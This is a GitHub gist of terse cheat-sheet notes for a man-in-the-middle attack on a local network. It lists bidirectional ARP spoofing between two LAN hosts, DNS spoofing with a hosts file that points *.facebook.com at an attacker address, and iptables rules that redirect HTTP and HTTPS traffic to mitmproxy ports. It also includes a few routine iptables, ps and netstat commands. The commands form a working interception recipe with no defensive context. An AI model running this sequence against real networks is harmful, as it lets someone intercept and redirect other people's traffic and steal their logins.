Skip to content

Instantly share code, notes, and snippets.

@JamesMarino
Last active September 27, 2016 02:03
Show Gist options
  • Save JamesMarino/66954645c9427a289e43a71f42438a97 to your computer and use it in GitHub Desktop.
Save JamesMarino/66954645c9427a289e43a71f42438a97 to your computer and use it in GitHub Desktop.
# DNS Spoofing
dnsspoof -i eth0 -f hosts
# ARP Spoofing (Pass all traffic through the device)
sudo arpspoof -i eth0 -t 10.0.0.138 10.0.0.8
sudo arpspoof -i eth0 -t 10.0.0.8 10.0.0.138
# hosts file is like this
# 10.0.0.28 *.facebook.com
# List from the NAT tables
iptables -t nat -L
# List all rules
iptables -L
# Flush all from NAT table
iptables -t nat -F
# Random Firewall commands
iptables -A INPUT -p udp --source-port 53 -m mac --mac-destination 00:26:44:76:44:99 -j DROP
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
# Install full version of Kali
sudo apt-get install kali-linux-full -y
# Process List
ps -ef | grep "regex"
# Network Stat
netstat
# MITMProxy
mitmproxy
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment